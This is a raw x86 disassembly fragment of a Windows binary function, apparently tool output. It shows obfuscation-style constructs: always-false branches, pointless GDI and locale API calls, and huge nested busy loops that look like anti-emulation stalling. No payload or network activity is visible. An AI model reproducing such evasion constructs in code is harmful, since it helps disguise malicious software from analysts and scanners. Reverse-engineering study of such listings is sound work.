mov dword [ebp + eax*4 - 0xf48], 0x4f46db50
jmp 0x10048afd
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xf48], 0
jmp 0x10048b51
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf48]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xf48], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xf48], 1
jg 0x10048cdd
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x10048cd8
mov dword [ebp - 0xea4], 0x28b7
mov dword [ebp - 0x115c], 0x1000aad0
cmp dword [ebp - 0xea4], 0x2c4f
jle 0x10048cb8
and dword [ebp - 0x6a8], 0
jmp 0x10048bb4
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 0x205
jge 0x10048cb8
and dword [ebp - 0x6b0], 0
jmp 0x10048bda
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0x5d5a
jge 0x10048cb3
and dword [ebp - 0x6b8], 0
jmp 0x10048c00
mov eax, dword [ebp - 0x6b8]
inc eax
mov dword [ebp - 0x6b8], eax
cmp dword [ebp - 0x6b8], 0x5cce
jge 0x10048cae
and dword [ebp - 0x2a4], 0
jmp 0x10048c26
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x6d07
jge 0x10048ca9
mov eax, dword [ebp - 0x6a8]
add eax, dword [ebp - 0x6b0]
mov edx, dword [ebp - 0x6b8]
mov ecx, dword [ebp - 0x2a4]
sar edx, cl
xor eax, edx
cdq
mov dword [ebp - 0x143c], eax
mov dword [ebp - 0x1438], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x14cc], ax
push dword [ebp - 0x1438]
push dword [ebp - 0x143c]
lea ecx, [ebp - 0x2368]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1154], eax
mov ecx, dword [ebp - 0x1154]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x2368]
call fcn.100252df
jmp 0x10048c19
jmp 0x10048bf3
jmp 0x10048bcd
jmp 0x10048ba7
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
cmp dword [ebp - 0xea4], 0x2592
jge 0x10048cd8
push dword [ebp - 0x115c]
call fcn.1008287d
pop ecx
jmp 0x10048b38
push 0
lea ecx, [ebp - 0xfc8]
call fcn.10025597
cmp dword [eax], 0
je 0x10048d10
mov dword [ebp - 0x1164], 6
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1164]
mov dword [ebp + eax - 0xf48], ecx
jmp 0x10048e93
mov dword [ebp - 0x238], 0x30cc
mov dword [ebp - 0xed4], 1
mov dword [ebp - 0x1970], 0x10095270
mov byte [ebp - 0x142], 0
movzx eax, byte [ebp - 0x142]
test eax, eax
je 0x10048d4a
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x1ac0], eax
cmp dword [ebp - 0x238], 0
jne 0x10048d71
mov eax, 0x5725
test eax, eax
jne 0x10048d71
and dword [ebp - 0xeac], 0
jmp 0x10048d7b
mov dword [ebp - 0xeac], 1
push 0
lea ecx, [ebp - 0xfc8]
call fcn.10025597
mov ecx, dword [ebp - 0xeac]
cmp ecx, dword [eax]
jne 0x10048d9e
mov dword [ebp - 0xeb4], 1
jmp 0x10048da5
and dword [ebp - 0xeb4], 0
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp - 0xeb4]
jl 0x10048dbf
mov dword [ebp - 0xebc], 1
jmp 0x10048dc6
and dword [ebp - 0xebc], 0
cmp dword [ebp - 0xebc], 0xfffffffb
jge 0x10048ddb
mov dword [ebp - 0xec4], 1
jmp 0x10048de2
and dword [ebp - 0xec4], 0
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp - 0xec4]
jge 0x10048dfc
mov dword [ebp - 0xecc], 1
jmp 0x10048e03
and dword [ebp - 0xecc], 0
mov eax, dword [ebp - 0xecc]
mov dword [ebp - 0xed4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf48]
cmp dword [ebp - 0xed4], eax
jg 0x10048e2f
mov dword [ebp - 0xedc], 1
jmp 0x10048e36
and dword [ebp - 0xedc], 0
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0xedc], eax
jl 0x10048e50
mov dword [ebp - 0xee4], 1
jmp 0x10048e57
and dword [ebp - 0xee4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf48]
cmp eax, dword [ebp - 0xee4]
jge 0x10048e78
push 1
lea ecx, [ebp - 0xfc8]
call fcn.10025597
push 1
lea ecx, [ebp - 0xfc8]
call fcn.10025597
push 4
pop ecx
shl ecx, 1
mov eax, dword [eax]
mov dword [ebp + ecx - 0xf48], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfc8]
call fcn.1002557b
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret